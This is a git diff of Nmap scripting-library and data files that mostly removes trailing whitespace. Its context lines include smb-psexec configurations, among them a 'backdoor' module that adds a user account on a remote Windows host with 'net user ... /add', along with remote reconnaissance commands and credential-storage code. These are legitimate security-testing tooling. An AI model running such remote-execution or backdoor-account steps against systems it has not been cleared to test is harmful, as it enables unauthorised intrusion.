xmldata .. "\r\n" - + return send_citrix_xml_request(host, port, xmldata) - + end @@ -464,14 +464,14 @@ end -- function parse_validate_credentials_response(response) local tblResult = {} - - response = response:gsub("\r?\n","") + + response = response:gsub("\r?\n","") tblResult['DaysUntilPasswordExpiry'] = response:match("(.+)") tblResult['ShowPasswordExpiryWarning'] = response:match("(.+)") tblResult['ErrorId'] = response:match("(.+)") - + return tblResult - + end --- Sends a request to reconnect session data @@ -487,7 +487,7 @@ function request_reconnect_session_data(host, port, params) local params = params or {} local Credentials = params.Credentials or {} - + params.ServerType = params.ServerType or {} params.ClientType = params.ClientType or {} @@ -497,7 +497,7 @@ function request_reconnect_session_data(host, port, params) xmldata = xmldata .. "" xmldata = xmldata .. "" - + if Credentials.UserName then xmldata = xmldata .. "" .. Credentials.UserName .. "" end @@ -505,11 +505,11 @@ function request_reconnect_session_data(host, port, params) if Credentials.Password then xmldata = xmldata .. "" .. Credentials.Password .. "" end - + if Credentials.Domain then xmldata = xmldata .. "" .. Credentials.Domain .. "" end - + xmldata = xmldata .. "" if params.ClientName then @@ -519,21 +519,21 @@ function request_reconnect_session_data(host, port, params) if params.DeviceId then xmldata = xmldata .. "" .. params.DeviceId .. "" end - + for _, srvtype in pairs(params.ServerType) do xmldata = xmldata .. "" .. srvtype .. "" end - + for _, clitype in pairs(params.ClientType) do xmldata = xmldata .. "" .. clitype .. "" end xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" - + return send_citrix_xml_request(host, port, xmldata) - - + + end return _ENV; diff --git a/nselib/comm.lua b/nselib/comm.lua index 4a3c072aa..db208a0db 100644 --- a/nselib/comm.lua +++ b/nselib/comm.lua @@ -154,7 +154,7 @@ local function is_ssl(port_number) return not not common_ssl_ports[port_number] end ---- This function returns best protocol order for trying to open a +--- This function returns best protocol order for trying to open a -- connection based on port and service information -- -- The first value is the best option, the second is the worst @@ -173,7 +173,7 @@ local function bestoption(port) end --- This function opens a connection, sends the first data payload and --- check if a response is correctly received (what means that the +-- check if a response is correctly received (what means that the -- protocol used is fine) -- -- Possible options: @@ -197,7 +197,7 @@ local function opencon(host, port, protocol, data, opts) -- check for connect_timeout or timeout option - if opts and opts.connect_timeout then + if opts and opts.connect_timeout then sd:set_timeout(opts.connect_timeout) elseif opts and opts.timeout then sd:set_timeout(opts.timeout) @@ -206,9 +206,9 @@ local function opencon(host, port, protocol, data, opts) end local status = sd:connect(host, port, protocol) - if not status then + if not status then sd:close() - return nil, nil, nil + return nil, nil, nil end -- check for request_timeout or timeout option @@ -233,9 +233,9 @@ local function opencon(host, port, protocol, data, opts) end response = early_resp end - if not status then + if not status then sd:close() - return nil, response, early_resp + return nil, response, early_resp end return sd, response, early_resp end diff --git a/nselib/creds.lua b/nselib/creds.lua index 52b0d7101..fc127610b 100644 --- a/nselib/creds.lua +++ b/nselib/creds.lua @@ -51,7 +51,7 @@ -- --script-args creds.http='webadmin:password' -- -- The service name at this point may be anything and the entry is created --- dynamically without validating whether the service exists or not. +-- dynamically without validating whether the service exists or not. -- -- The credential argument is not documented in this library using the args -- function as the argument would incorrectly show up in all scripts making use @@ -71,9 +71,9 @@ -- -- Supported output formats are CSV, verbose and plain. In both verbose and plain -- records are seperated by colons. The difference between the two is that verbose --- includes the credential state. The file extension is automatically added to +-- includes the credential state. The file extension is automatically added to -- the filename based on the type requested. --- +-- -- @author "Patrik Karlsson " -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html @@ -147,7 +147,7 @@ RegStorage = { o.filter = {} return o end, - + --- Add credentials to storage -- -- @param scriptname the name of the script adding the credentials @@ -158,7 +158,7 @@ RegStorage = { -- @param pass the password of the user -- @param state of the account add = function( self, scriptname, host, port, service, user, pass, state ) - local cred = { + local cred = { scriptname = scriptname, host = host, port = port, @@ -170,7 +170,7 @@ RegStorage = { nmap.registry.creds = nmap.registry.creds or {} table.insert( nmap.registry.creds, cred ) end, - + --- Sets the storage filter -- -- @param host table containing the host @@ -181,7 +181,7 @@ RegStorage = { self.filter.port = port self.filter.state = state end, - + --- Returns a credential iterator matching the selected filters -- -- @return a credential iterator @@ -190,23 +190,23 @@ RegStorage = { local host, port = self.filter.host, self.filter.port if ( not(nmap.registry.creds) ) then return end - + for _, v in pairs(nmap.registry.creds) do local h = ( v.host.ip or v.host ) if ( not(host) and not(port) ) then - if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then + if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then coroutine.yield(v) end elseif ( not(host) and ( port == v.port ) ) then - if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then + if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then coroutine.yield(v) end elseif ( ( host and ( h == host or h == host.ip ) ) and not(port) ) then - if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then + if ( not(self.filter.state) or ( v.state == self.filter.state ) ) then coroutine.yield(v) end elseif ( ( host and ( h == host or h == host.ip ) ) and port.number == v.port ) then - if ( not(self.filter.state) or ( v.state == bit.band(self.filter.state, v.state) ) ) then + if ( not(self.filter.state) or ( v.state == bit.band(self.filter.state, v.state) ) ) then coroutine.yield(v) end end @@ -214,12 +214,12 @@ RegStorage = { end return coroutine.wrap(get_next) end, - + } -- The credentials class Credentials = { - + --- Creates a new instance of the Credentials class -- @param scriptname string containing the name of the script -- @param host table as received by the scripts action method @@ -231,12 +231,12 @@ Credentials = { o.storage = RegStorage:new() o.storage:setFilter(host, port) o.host = host - o.port = ( port and port.number ) and port.number + o.port = ( port and port.number ) and port.number o.service = ( port and port.service ) and port.service o.scriptname = scriptname return o end, - + --- Add a discovered credential -- -- @param user the name of the user @@ -255,11 +255,11 @@ Credentials = { self.storage:add( self.scriptname, self.host, self.port, self.service, user, pass, state ) end end, - + --- Returns a credential iterator -- -- @param state mask containing values from the State table - -- @return credential iterator, returning a credential each time it's + -- @return credential iterator, returning a credential each time it's -- called. Unless filtered by the state mask all credentials -- for the host, port match are iterated over. -- The credential table has the following fields: @@ -273,7 +273,7 @@ Credentials = { -- script that added the credential getCredentials = function(self, state) local function next_credential() - if ( state ) then + if ( state ) then self.storage:setFilter(self.host, { number=self.port, service = self.service }, state) end @@ -288,11 +288,11 @@ Credentials = { local creds_global = stdnse.get_script_args('creds.global') local creds_service local creds_params - + if ( self.service ) then creds_service = stdnse.get_script_args('creds.' .. self.service ) end - + if ( creds_service ) then creds_params = creds_service end if ( creds_global and creds_service ) then creds_params = creds_params .. ',' .. creds_global @@ -311,9 +311,9 @@ Credentials = { else user = cred:match("^(.*)$") end - coroutine.yield( { host = self.host, + coroutine.yield( { host = self.host, port = self.port, - user = user, + user = user, pass = pass, state = State.PARAM, service = self.service } ) @@ -322,10 +322,10 @@ Credentials = { end return coroutine.wrap( next_credential ) end, - + --- Returns a table of credentials -- - -- @return tbl table containing the discovered credentials + -- @return tbl table containing the discovered credentials getTable = function(self) local result = {} @@ -355,7 +355,7 @@ Credentials = { table.insert( result[h][svc], c ) end end - + local output = {} for hostname, host in pairs(result) do local host_tbl = { name = hostname } @@ -369,7 +369,7 @@ Credentials = { table.insert( host_tbl, svc_tbl ) end -- sort the services - table.sort( host_tbl, + table.sort( host_tbl, function(a,b) return tonumber(a.name:match("^(%d+)")) < tonumber(b.name:match("^(%d+)")) end @@ -388,27 +388,27 @@ Credentials = { end return (#output > 0 ) and output end, - + -- Saves credentials in the current object to file -- @param filename string name of the file -- @param fileformat string file format type, values = csv | verbose | plain (default) -- @return status true on success, false on failure -- @return err string containing the error if status is false saveToFile = function(self, filename, fileformat) - + if ( fileformat == 'csv' ) then filename = filename .. '.csv' else filename = filename .. '.txt' end - + local f = io.open( filename, "w") local output = nil - + if ( not(f) ) then return false, ("ERROR: Failed to open file (%s)"):format(filename) end - + for account in self:getCredentials() do if ( fileformat == 'csv' ) then output = "\"" .. account.user .. "\",\"" .. account.pass .. "\",\"" .. StateMsg[account.state] .. "\"" @@ -425,7 +425,7 @@ Credentials = { f:close() return true end, - + --- Get credentials with optional host and port filter -- If no filters are supplied all records are returned -- @@ -436,7 +436,7 @@ Credentials = { local all = self:getTable() if ( all ) then return stdnse.format_output(true, all) end end, - + } return _ENV; diff --git a/nselib/cvs.lua b/nselib/cvs.lua index 76f6fa926..6a338c93a 100644 --- a/nselib/cvs.lua +++ b/nselib/cvs.lua @@ -24,7 +24,7 @@ Helper = { self.__index = self return o end, - + connect = function(self) self.socket = nmap.new_socket() return self.socket:connect(self.host, self.port) @@ -35,23 +35,23 @@ Helper = { assert(repo, "No repository was specified") assert(user, "No user was specified") assert(pass, "No pass was specified") - + -- Add a leading slash if it's missing if ( repo:sub(1,1) ~= "/" ) then repo = "/" .. repo end - + table.insert(auth_tab, "BEGIN AUTH REQUEST") table.insert(auth_tab, repo) table.insert(auth_tab, user) table.insert(auth_tab, Util.pwscramble(pass)) table.insert(auth_tab, "END AUTH REQUEST") - + local data = stdnse.strjoin("\n", auth_tab) .. "\n" local status = self.socket:send(data) if ( not(status) ) then return false, "Failed to send login request" end - + local status, response = self.socket:receive() if ( not(status) ) then return false, "Failed to read login response" end - + if ( response == "I LOVE YOU\n" ) then return true end return false, response end, @@ -59,11 +59,11 @@ Helper = { close = function(self) return self.socket:close() end - + } Util = { - + --- Scrambles a password -- -- @param password string containing the password to scramble @@ -92,7 +92,7 @@ Util = { end return 'A' .. result end - + } return _ENV; diff --git a/nselib/data/http-default-accounts-fingerprints.lua b/nselib/data/http-default-accounts-fingerprints.lua index 1546599cd..55b3de09d 100644 --- a/nselib/data/http-default-accounts-fingerprints.lua +++ b/nselib/data/http-default-accounts-fingerprints.lua @@ -16,7 +16,7 @@ local url = require "url" -- * target_check - Validation function of the target (optional) -- * login_check - Login function of the target -- --- TODO: Update the functionality of target_check to differentiate +-- TODO: Update the functionality of target_check to differentiate -- between valid HTTP/200 and a custom error page. --- @@ -52,7 +52,7 @@ end --- local function try_http_post_login(host, port, path, target, failstr, params, follow_redirects) local req = http.post(host, port, url.absolute(path, target), {no_cache=true}, nil, params) - + if not req.status then return false end local status = tonumber(req.status) or 0 if follow_redirects and ( status > 300 and status < 400 ) then @@ -68,7 +68,7 @@ end -- Returns authentication realm advertised in an HTTP response -- @param response HTTP response object, such as a result from http.get() -- @return realm found in response header WWW-Authenticate --- (or nil if not present) +-- (or nil if not present) --- local function http_auth_realm(response) local auth = response.header["www-authenticate"] or "" diff --git a/nselib/data/http-devframework-fingerprints.lua b/nselib/data/http-devframework-fingerprints.lua index 30ed4bd30..8eb5449c4 100644 --- a/nselib/data/http-devframework-fingerprints.lua +++ b/nselib/data/http-devframework-fingerprints.lua @@ -12,7 +12,7 @@ local url = require "url" -- * name - Descriptive name -- * rapidDetect - Callback function that is called in the beginning -- of detection process. It takes the host and port of the target website as --- arguments. +-- arguments. -- * consumingDetect - Callback function that is called for each -- spidered page. It takes the body of the response (HTML source code) and the -- requested path as arguments. @@ -25,25 +25,25 @@ tools = { Django = { rapidDetect = function(host, port) local response = http.get(host, port, "/admin/") if response.body then - if string.find(response.body, "Log in | Django site admin") or - string.find(response.body, "this_is_the_login_form") or + if string.find(response.body, "Log in | Django site admin") or + string.find(response.body, "this_is_the_login_form") or string.find(response.body, "csrfmiddlewaretoken") then - return "Django detected. Found Django admin login page on /admin/" + return "Django detected. Found Django admin login page on /admin/" end end - -- In Django, the cookie sessionid is being set when you log in + -- In Django, the cookie sessionid is being set when you log in -- and forms will probably set a cookie called csrftoken. if response.cookies then for _, c in pairs(response.cookies) do if c.name == "csrftoken" then - return "Django detected. Found sessionid cookie which means the contrib.auth package for authentication is enabled." + return "Django detected. Found sessionid cookie which means the contrib.auth package for authentication is enabled." elseif c.name == "sessionid" then return "Django detected. Found csrftoken cookie." end end end - + -- See if DEBUG mode still happens to be true. response = http.get(host, port, "/random404page/") @@ -54,7 +54,7 @@ tools = { Django = { rapidDetect = function(host, port) end end, - + consumingDetect = function(page, path) if page then if string.find(page, "csrfmiddlewaretoken") then @@ -64,7 +64,7 @@ tools = { Django = { rapidDetect = function(host, port) return "Django detected. Found id_ preffix in id attribute name on " .. path end if string.find(page, "%-TOTAL%-FORMS") or string.find(page, "%-DELETE") then - return "Django detected. Found -TOTAL-FORMS and -DELETE hidden inputs, which means there is a Django formset on " .. path + return "Django detected. Found -TOTAL-FORMS and -DELETE hidden inputs, which means there is a Django formset on " .. path end end end @@ -94,7 +94,7 @@ tools = { Django = { rapidDetect = function(host, port) end end - -- Make up a bad path and match the error page + -- Make up a bad path and match the error page response = http.get(host, port, "/random404page/") if response.body then @@ -104,7 +104,7 @@ tools = { Django = { rapidDetect = function(host, port) end end, - + consumingDetect = function(page, path) -- Check the source and look for csrf patterns. @@ -113,7 +113,7 @@ tools = { Django = { rapidDetect = function(host, port) return "RoR detected. Found csrf field on" .. path end end - + end }, @@ -133,16 +133,16 @@ tools = { Django = { rapidDetect = function(host, port) if response.cookies then for _, c in pairs(response.cookies) do if c.name == "aspnetsessionid" then - return "ASP.NET detected. Found aspnetsessionid cookie." + return "ASP.NET detected. Found aspnetsessionid cookie." end end end end, - + consumingDetect = function(page, path) -- Check the source and look for common traces. if page then - if string.find(page, " __VIEWSTATE") or + if string.find(page, " __VIEWSTATE") or string.find(page, "__EVENT") or string.find(page, "__doPostBack") or string.find(page, "aspnetForm") or @@ -166,7 +166,7 @@ tools = { Django = { rapidDetect = function(host, port) end end, - + consumingDetect = function(page, path) return end @@ -186,7 +186,7 @@ tools = { Django = { rapidDetect = function(host, port) end end, - + consumingDetect = function(page, path) return end @@ -203,9 +203,9 @@ tools = { Django = { rapidDetect = function(host, port) return "Symfony detected. Found related header." end end - + end, - + consumingDetect = function(page, path) return end @@ -217,7 +217,7 @@ tools = { Django = { rapidDetect = function(host, port) local response = http.get(host, port, "/") if response.body then - if string.find(response.body, "content=[\"']WordPress") or + if string.find(response.body, "content=[\"']WordPress") or string.find(response.body, "wp%-content") then return "Wordpress detected. Found common traces on /" end @@ -233,7 +233,7 @@ tools = { Django = { rapidDetect = function(host, port) consumingDetect = function(page, path) if page then - if string.find(page, "content=[\"']WordPress") or + if string.find(page, "content=[\"']WordPress") or string.find(page, "wp%-content") then return "Wordpress detected. Found common traces on " .. page end @@ -249,7 +249,7 @@ tools = { Django = { rapidDetect = function(host, port) if response.body then if string.find(response.body, "content=[\"']Joomla!") then - return "Joomla detected. Found common traces on /" + return "Joomla detected. Found common traces on /" end end @@ -264,7 +264,7 @@ tools = { Django = { rapidDetect = function(host, port) consumingDetect = function(page, path) if page and string.find(page, "content=[\"']Joomla!") then - return "Joomla detected. Found common traces on " .. page + return "Joomla detected. Found common traces on " .. page end end }, @@ -283,7 +283,7 @@ tools = { Django = { rapidDetect = function(host, port) consumingDetect = function(page, path) if page and string.find(page, "content=[\"']Drupal") then - return "Drupal detected. Found common traces on " .. page + return "Drupal detected. Found common traces on " .. page end end }, @@ -294,7 +294,7 @@ tools = { Django = { rapidDetect = function(host, port) local response = http.get(host, port, "/") if response.body then - if string.find(response.body, "content=[\"']MediaWiki") or + if string.find(response.body, "content=[\"']MediaWiki") or string.find(response.body, "/mediawiki/") then return "MediaWiki detected. Found common traces on /" end @@ -304,7 +304,7 @@ tools = { Django = { rapidDetect = function(host, port) consumingDetect = function(page, path) if page and string.find(page, "content=[\"']MediaWiki") or string.find(page, "/mediawiki/") then - return "MediaWiki detected. Found common traces on " .. page + return "MediaWiki detected. Found common traces on " .. page end end }, @@ -316,7 +316,7 @@ tools = { Django = { rapidDetect = function(host, port) if response.cookies then for _, c in pairs(response.cookies) do if c.name == "cfid" or c.name == "cftoken" then - return "ColdFusion detected. Found " .. c.name .. " cookie." + return "ColdFusion detected. Found " .. c.name .. " cookie." end end end @@ -334,7 +334,7 @@ tools = { Django = { rapidDetect = function(host, port) if response.cookies then for _, c in pairs(response.cookies) do if string.find(c.name, "bv_") then - return "Broadvision detected. Found " .. c.name .. " cookie." + return "Broadvision detected. Found " .. c.name .. " cookie." end end end @@ -352,7 +352,7 @@ tools = { Django = { rapidDetect = function(host, port) if response.cookies then for _, c in pairs(response.cookies) do if string.find(c.name, "wc_") then - return "WebSphere Commerce detected. Found " .. c.name .. " cookie." + return "WebSphere Commerce detected. Found " .. c.name .. " cookie." end end end diff --git a/nselib/data/http-fingerprints.lua b/nselib/data/http-fingerprints.lua index ef5a78700..e54298041 100644 --- a/nselib/data/http-fingerprints.lua +++ b/nselib/data/http-fingerprints.lua @@ -14,17 +14,17 @@ local table = require "table" -- This file is released under the Nmap license; see: -- http://nmap.org/book/man-legal.html -- --- @args http-fingerprints.nikto-db-path Looks at the given path for nikto database. --- It then converts the records in nikto's database into our Lua table format --- and adds them to our current fingerprints if they don't exist already. +-- @args http-fingerprints.nikto-db-path Looks at the given path for nikto database. +-- It then converts the records in nikto's database into our Lua table format +-- and adds them to our current fingerprints if they don't exist already. -- Unfortunately, our current implementation has some limitations: -- * It doesn't support records with more than one 'dontmatch' patterns for -- a probe. -- * It doesn't support logical AND for the 'match' patterns. -- * It doesn't support sending additional headers for a probe. --- That means, if a nikto fingerprint needs one of the above features, it --- won't be loaded. At the time of writing this, 6546 out of the 6573 Nikto --- fingerprints are being loaded successfully. This runtime Nikto fingerprint integration was suggested by Nikto co-author Chris Sullo as described at http://seclists.org/nmap-dev/2013/q4/292 +-- That means, if a nikto fingerprint needs one of the above features, it +-- won't be loaded. At the time of writing this, 6546 out of the 6573 Nikto +-- fingerprints are being loaded successfully. This runtime Nikto fingerprint integration was suggested by Nikto co-author Chris Sullo as described at http://seclists.org/nmap-dev/2013/q4/292 -- -- Although this format was originally modeled after the Nikto format, that ended -- up being too restrictive. The current format is a simple Lua table. There are many @@ -11804,7 +11804,7 @@ table.insert(fingerprints, { method = 'HEAD' }, { - path = '/sitecore/admin/unlock_admin.aspx', -- disabled per default in 6.2.0 (rev.100507) + path = '/sitecore/admin/unlock_admin.aspx', -- disabled per default in 6.2.0 (rev.100507) method = 'HEAD' }, { @@ -11862,12 +11862,12 @@ if f then if not string.match(l, "^#.*") then record = {} - + for field in string.gmatch(l, "\"(.-)\",") do -- Grab every attribute and create a record. if field then - string.gsub(field, '%%', '%%%%') + string.gsub(field, '%%', '%%%%') table.insert(record, field) end end @@ -11892,7 +11892,7 @@ if f then -- record[2]: OSVDB-ID -- record[3]: Server Type -- record[4]: URI - -- record[5]: HTTP Method + -- record[5]: HTTP Method -- record[6]: Match 1 -- record[7]: Match 1 (Or) -- record[8]: Match1 (And) @@ -11903,11 +11903,11 @@ if f then -- record[13]: Headers -- Is this a valid record? Atm, with our current format we need - -- to skip some nikto records. See NSEDoc for more info. - - if not exists + -- to skip some nikto records. See NSEDoc for more info. + + if not exists and record[4] - and record[8] == "" and record[10] == "" and record[12] == "" + and record[8] == "" and record[10] == "" and record[12] == "" and (tonumber(record[4]) == nil or (tonumber(record[4]) and record[4] == "200")) then -- Our current format does not support HTTP code matching. @@ -11930,11 +11930,11 @@ if f then } -- If there is a second match, add it. - if record[7] and record[7] ~= "" then + if record[7] and record[7] ~= "" then table.insert(nikto_fingerprint.matches, { match = record[7], output = record[11] }) end - table.insert(fingerprints, nikto_fingerprint) + table.insert(fingerprints, nikto_fingerprint) end end diff --git a/nselib/data/ike-fingerprints.lua b/nselib/data/ike-fingerprints.lua index 085be518f..a037854b0 100644 --- a/nselib/data/ike-fingerprints.lua +++ b/nselib/data/ike-fingerprints.lua @@ -147,7 +147,7 @@ table.insert(fingerprints, { fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d........00000000........' }); --- Catch all Checkpoint +-- Catch all Checkpoint table.insert(fingerprints, { category = 'vendor', vendor = 'Checkpoint VPN-1 / Firewall-1', @@ -161,7 +161,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- --- Cisco +-- Cisco -------------------------------------------------------------------------------- table.insert(fingerprints, { category = 'vendor', @@ -226,7 +226,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- --- Fortinet +-- Fortinet -------------------------------------------------------------------------------- table.insert(fingerprints, { category = 'vendor', @@ -241,7 +241,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- --- FreeS/WAN +-- FreeS/WAN -------------------------------------------------------------------------------- table.insert(fingerprints, { category = 'vendor', @@ -521,7 +521,7 @@ table.insert(fingerprints, { version = nil, ostype = nil, devicetype = nil, - cpe = nil, + cpe = nil, fingerprint = '^7003cbc1097dbe9c2600ba6983bc8b35' }); @@ -553,7 +553,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- --- Microsoft +-- Microsoft -- http://msdn.microsoft.com/en-us/library/cc233476.aspx -------------------------------------------------------------------------------- table.insert(fingerprints, { @@ -659,7 +659,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- --- Nortel Contivity / Nortel VPN router +-- Nortel Contivity / Nortel VPN router -- The last byte might be a version ? -- From ike-scan: --- 00000004, 00000005, 00000007, 00000009, 0000000a @@ -692,7 +692,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- --- Openswan +-- Openswan -------------------------------------------------------------------------------- table.insert(fingerprints, { category = 'vendor', @@ -791,7 +791,7 @@ table.insert(fingerprints, { ostype = nil, devicetype = nil, cpe = nil, - fingerprint = '^5b362bc820f60007' -- (Maybe NSA?, SonicOS Enhanced 4.2?) + fingerprint = '^5b362bc820f60007' -- (Maybe NSA?, SonicOS Enhanced 4.2?) }); table.insert(fingerprints, { @@ -1879,7 +1879,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -- Attribute: Misc fingerprints --- not directly usable for fingerprinting +-- not directly usable for fingerprinting -- but can be used for guessing -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- @@ -2348,7 +2348,7 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- --- vid_order: +-- vid_order: -- By examining the ordering of the VIDs, some assumptions can be made -- Currently only has support for Cisco @@ -2419,7 +2419,7 @@ table.insert(fingerprints, { -- Cisco Unity, XAUTH, IKE Fragmentation, Cisco VPN Concentrator }); ---[[ Probably too +--[[ Probably too table.insert(fingerprints, { category = 'vid_ordering', vendor = 'Cisco', @@ -2436,11 +2436,11 @@ table.insert(fingerprints, { -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- --- header_ordering: +-- header_ordering: -- For possible future use --- Cisco --- 1: SA, VID, VID, VID, VID, KeyExchange, ID, Nonce, Hash +-- 1: SA, VID, VID, VID, VID, KeyExchange, ID, Nonce, Hash -- 2: SA, KeyExchange, Nonce, ID, Hash, VID, VID, VID, VID, VID, VID -- 3: SA, KeyExchange, Nonce, ID, Hash, VID, VID, VID, VID, VID diff --git a/nselib/data/psexec/backdoor.lua b/nselib/data/psexec/backdoor.lua index 062977946..47f0d2318 100644 --- a/nselib/data/psexec/backdoor.lua +++ b/nselib/data/psexec/backdoor.lua @@ -1,7 +1,7 @@ ---This config file is designed for adding a backdoor to the system. It has a few --- options by default, only one enabled by default. I suggest +-- options by default, only one enabled by default. I suggest -- --- Note that none of these modules are included with Nmap by default. +-- Note that none of these modules are included with Nmap by default. -- Any variable in the 'config' table in smb-psexec.nse can be overriden in the -- 'overrides' table. Most of them are not really recommended, such as the host, @@ -17,7 +17,7 @@ local mod -- a response mod = {} mod.upload = false -mod.name = "Adding a user account: $username/$password" +mod.name = "Adding a user account: $username/$password" mod.program = "net" mod.args = "user $username $password /add" mod.maxtime = 2 diff --git a/nselib/data/psexec/default.lua b/nselib/data/psexec/default.lua index 3cd3e17ef..6a3290aeb 100644 --- a/nselib/data/psexec/default.lua +++ b/nselib/data/psexec/default.lua @@ -1,10 +1,10 @@ ---This is the default configuration file. It simply runs some built-in Window --- programs to gather information about the remote system. It's intended to be --- simple, demonstrate some of the concepts, and not break/alte anything. +-- programs to gather information about the remote system. It's intended to be +-- simple, demonstrate some of the concepts, and not break/alte anything. --- Any variable in the 'config' table in smb-psexec.nse can be overriden in the --- 'overrides' table. Most of them are not really recommended, such as the host, +-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the +-- 'overrides' table. Most of them are not really recommended, such as the host, -- key, etc. overrides = {} --overrides.timeout = 40 @@ -13,7 +13,7 @@ modules = {} local mod -- Get the Windows version. For some reason we can't run this directly, but it works ok --- if we run it through cmd.exe. +-- if we run it through cmd.exe. mod = {} mod.upload = false mod.name = "Windows version" @@ -24,7 +24,7 @@ mod.noblank = true table.insert(modules, mod) -- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup --- to end up being usable and pretty. +-- to end up being usable and pretty. mod = {} mod.upload = false mod.name = "IP Address and MAC Address from 'ipconfig.exe'" @@ -47,7 +47,7 @@ mod.remove = {"User accounts for", "The command completed", "%-%-%-%-% mod.noblank = true table.insert(modules, mod) --- Get the list of accounts in the 'administrators' group. +-- Get the list of accounts in the 'administrators' group. mod = {} mod.upload = false mod.name = "Membership of 'administrators' from 'net localgroup administrators'" @@ -58,9 +58,9 @@ mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Memb mod.noblank = true table.insert(modules, mod) --- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards. +-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards. -- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked) --- when the SystemRoot environmental variable wasn't set. +-- when the SystemRoot environmental variable wasn't set. mod = {} mod.upload = false mod.name = "Can the host ping our address?" @@ -69,10 +69,10 @@ mod.args = "-n 1 $lhost" mod.maxtime = 5 mod.remove = {"statistics", "Packet", "Approximate", "Minimum"} mod.noblank = true -mod.env = "SystemRoot=c:\\WINDOWS" +mod.env = "SystemRoot=c:\\WINDOWS" table.insert(modules, mod) --- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time. +-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time. -- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works) mod = {} mod.upload = false @@ -85,7 +85,7 @@ mod.noblank = true mod.env = "SystemRoot=c:\\WINDOWS" table.insert(modules, mod) --- Dump the arp cache of the system. +-- Dump the arp cache of the system. mod = {} mod.name = "ARP Cache from arp.exe" mod.program = 'arp.exe' @@ -105,12 +105,12 @@ mod.maxtime = 1 mod.remove = {"Active"} mod.noblank = true mod.env = "SystemRoot=c:\\WINDOWS" -table.insert(modules, mod) +table.insert(modules, mod) --- Get the routing table. +-- Get the routing table. -- --- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be --- set properly, so it isn't going to work against systems with odd paths. +-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be +-- set properly, so it isn't going to work against systems with odd paths. mod = {} mod.upload = false mod.name = "Full routing table from 'netstat -nr'" @@ -131,7 +131,7 @@ mod.maxtime = 5 table.insert(modules, mod) -- Get the drive configuration. For same (insane?) reason, it uses NULL characters instead of spaces --- for the response, so we have to do a replaceent. +-- for the response, so we have to do a replaceent. mod = {} mod.upload = false mod.name = "Drive list (for more info, try adding --script-args=config=drives,drive=C:)" diff --git a/nselib/data/psexec/drives.lua b/nselib/data/psexec/drives.lua index ddd10350c..22728215c 100644 --- a/nselib/data/psexec/drives.lua +++ b/nselib/data/psexec/drives.lua @@ -1,7 +1,7 @@ ---This configuration file pulls info about a given harddrive --- Any variable in the 'config' table in smb-psexec.nse can be overriden in the --- 'overrides' table. Most of them are not really recommended, such as the host, +-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the +-- 'overrides' table. Most of them are not really recommended, such as the host, -- key, etc. overrides = {} --overrides.timeout = 40 diff --git a/nselib/data/psexec/examples.lua b/nselib/data/psexec/examples.lua index 7c034f7a2..8e15df4b9 100644 --- a/nselib/data/psexec/examples.lua +++ b/nselib/data/psexec/examples.lua @@ -1,7 +1,7 @@ ----This configuration file contains the examples given in smb-psexec.nse. +---This configuration file contains the examples given in smb-psexec.nse. --- Any variable in the 'config' table in smb-psexec.nse can be overriden in the --- 'overrides' table. Most of them are not really recommended, such as the host, +-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the +-- 'overrides' table. Most of them are not really recommended, such as the host, -- key, etc. overrides = {} overrides.timeout = 40 @@ -42,7 +42,7 @@ mod.program = "ping.exe" mod.args = "$lhost" mod.remove = {"statistics", "Packet", "Approximate", "Minimum"} mod.noblank = true -mod.env = "SystemRoot=c:\\WINDOWS" +mod.env = "SystemRoot=c:\\WINDOWS" table.insert(modules, mod) mod = {} @@ -52,7 +52,7 @@ mod.program = "ping.exe" mod.args = "$host" mod.remove = {"statistics", "Packet", "Approximate", "Minimum"} mod.noblank = true -mod.env = "SystemRoot=c:\\WINDOWS" +mod.env = "SystemRoot=c:\\WINDOWS" mod.req_args = {'host'} table.insert(modules, mod) diff --git a/nselib/data/psexec/experimental.lua b/nselib/data/psexec/experimental.lua index e4264067e..5784101f1 100644 --- a/nselib/data/psexec/experimental.lua +++ b/nselib/data/psexec/experimental.lua @@ -1,9 +1,9 @@ ---This is the configuration file for modules that aren't quite ready for prime --- time yet. +-- time yet. --- Any variable in the 'config' table in smb-psexec.nse can be overriden in the --- 'overrides' table. Most of them are not really recommended, such as the host, +-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the +-- 'overrides' table. Most of them are not really recommended, such as the host, -- key, etc. overrides = {} --overrides.timeout = 40 diff --git a/nselib/data/psexec/network.lua b/nselib/data/psexec/network.lua index b134dd941..316cd3bc7 100644 --- a/nselib/data/psexec/network.lua +++ b/nselib/data/psexec/network.lua @@ -1,7 +1,7 @@ ---More verbose network scripts --- Any variable in the 'config' table in smb-psexec.nse can be overriden in the --- 'overrides' table. Most of them are not really recommended, such as the host, +-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the +-- 'overrides' table. Most of them are not really recommended, 